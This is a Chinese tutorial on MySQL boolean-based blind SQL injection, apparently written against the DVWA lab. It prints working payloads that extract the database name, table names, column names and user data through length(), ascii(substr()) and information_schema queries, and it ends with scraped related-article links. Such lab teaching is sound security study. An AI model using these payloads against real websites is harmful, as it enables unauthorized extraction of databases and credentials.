布尔注入:

当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据。(盲注分为布尔盲注和时间盲注)

盲注常用函数:

length()  返回字符串的长度, 可以返回 数据库 表明 列名的 长度

substr()  截取字符串。subster(string, start, length)   字符串, 从第几位截取,截取长度是多少

ascil()  返回ascil码

基于时间盲注:

sleep(n)  将程序挂起一段时间,n为n秒

if(expr1,expr2,expr3)  if判断语句

布尔注入流程:

1.判断是否存在注入,字符型还是数字型。

2.猜解当前数据库长度 

  这个注入过程就相当于 输入者跟数据库进行对话

你问:  1' and length (database())=1 #  ( 这里猜测数据库名称为1个字符)

数据库回答:  missing

继续猜测 1‘and length(database())=4 # 当我们输入到4的时候 数据库返回用户id存在 数据库中 ,那么可得出数据库名称为4位

 猜名称    (二分法逐字猜解)

ascii码值: A到Z的ASCII码是65到90,a到z的ascii码值是97到122

首先,我们用二分法取中间数来猜取数据库名称的第一位字母

1' and ascii(substr(database(),1,1))>97 #

 显示存在,说明数据库的第一个字母是大于或等于97的,

1' and ascii(substr(database(),1,1))<122 #

继续使用二分法测试,发现小于122 

1' and ascii (substr(database(),1,1))<109 #

 测试发现小于109

1' and ascii (substr(database(),1,1))<102 #

 发现小于102继续测试

1' and ascii (substr(database(),1,1))<100 #

 发现报错了,这就说明 数据库名称<=100

1' and ascii (substr(database(),1,1))<=100 #

 数据库的第一位数字的ascii为100   即为d   

剩下三位 只需更改substr 的 第二个参数 即可 获取完整的数据库名称

 

3.猜解表名  (猜解表的数量)

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

显示存在,说明 这个数据库里有 2个表

(猜解第⼀个表名长度)

1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

显示第一个表名的这个长度不为1. 继续测试

1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #

 不为2

.

.

.

1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

这里显示猜出第一个表名的为9 

接下来只要更改limit 的参数(1.1) 即可猜解第二张表的长度。

 

猜解第一个表的名字

1' and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >97 #

通过二分法和猜解数据库名称一样,取猜解表名。

最后猜解表名为 guestbook users                              

猜解表的字段名 数量:

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 #

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #

猜解第一个字段的长度

方法同猜解表名长度

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 #

猜解第一个字段名

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))>97 # 显⽰存在

猜解数据 

依然是使用二分法猜解数据

and ascii(substr((select user from dvwa.users limit 0,1),1,1))>96 #

MySQL手注之盲注(布尔)的更多相关文章

  1. MYSQL注入天书之盲注讲解

    Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...

  2. SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}

    首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...

  3. mysql基于“时间”的盲注

    无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 =================================================================== ...

  4. sqli-labs less8-10(布尔盲注时间盲注)

    less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...

  5. SQL注入--显注和盲注中过滤逗号绕过

    SQL注入逗号绕过 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联 ...

  6. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

  7. sqli-labs lesson5-6 布尔盲注 报错注入 延时注入

    LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...

  8. SQL注入----盲注总结

    参考文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247490388&idx=1&sn=c677837d7 ...

  9. SQL盲注测试高级技巧

    写在前面: 这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了.但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进. 正文: 首先来简单 ...

随机推荐

  1. pandas 数据表中的字符与日期数据的处理

    前面我们有学习过有关字符串的处理和正在表达式,但那都是基于单个字符串或字符串列表的操作.下面将学习如何基于数据框操作字符型变量. 同时介绍一下如何从日期型变量中取出年份,月份,星期几等,如何计算两个日 ...

  2. ElementUI 不维护了?供我们选择的 Vue 组件库还有很多!

    前文回顾:Vue+Spring Boot 前后端分离的商城项目开源啦! Vue 组件千千万,只要不行咱就换. ElementUI 近况 根据我最近的观察,得知一些关于 ElementUI 维护人员都退 ...

  3. 跟我一起学.NetCore之日志(Log)模型核心

    前言 鲁迅都说:没有日志的系统不能上线(鲁迅说:这句我没说过,但是在理)!日志对于一个系统而言,特别重要,不管是用于事务审计,还是用于系统排错,还是用于安全追踪.....都扮演了很重要的角色:之前有很 ...

  4. swagger的导出

    swagger-export是一个提供swagger文档导出功能的服务,不依赖于具体的API接口服务实现,你可以很方便地导出html和pdf两种格式的静态文档.源码来自swagger导出静态API文档 ...

  5. C语言内存泄露很严重,如何应对?

    摘要:通过介绍内存泄漏问题原理及检视方法,希望后续能够从编码检视环节就杜绝内存泄漏导致的网上问题发生. 1. 前言 最近部门不同产品接连出现内存泄漏导致的网上问题,具体表现为单板在现网运行数月以后,因 ...

  6. 【Android】AndroidStudio(Eclipse)如何使用天天模拟器进行调试apk应用。

    作者:程序员小冰,GitHub主页:https://github.com/QQ986945193 新浪微博:http://weibo.com/mcxiaobing 大家都知道,我们这些Android开 ...

  7. android开发之dip,dp与px像素之间的转换工具,可能用的不多,但是有总比没有好吧。

    作者:程序员小冰,CSDN博客:http://blog.csdn.net/qq_21376985,转载请说明出处. 下面是介绍: 免积分下载地址:http://download.csdn.net/de ...

  8. Android开发之http网络请求返回码问题集合。

    HTTP状态码(HTTP Status Code) 一些常见的状态码为: 200 - 服务器成功返回网页  404 - 请求的网页不存在  503 - 服务不可用  一.1xx(临时响应) 表示临时响 ...

  9. 2020年的UWP——通过Radio类控制Cellular(1)

    最近在做UWP的项目,在2020年相信这已经是相对小众的技术了,但是在学习的过程中,发现某软这么几年仍然添加了不少的API,开放了相当多的权限.所以打算总结一下最近的一些经验和收获,介绍一下2020年 ...

  10. python-opencv 图像捕捉多个不规则轮廓,与轮廓内接区域(圆/矩形)思路-持续更新编辑中(会附上详细的思路解释和图片)

    整体思路: 1.原图灰度化 2.灰度图截取mask区域 3.mask区域二值化 4.二值化图像运算(开运算) 5.原灰图轮廓提取 6.不规则轮廓校准(外接矩形/内接矩形) 注:代码依次头尾连接哦! 0 ...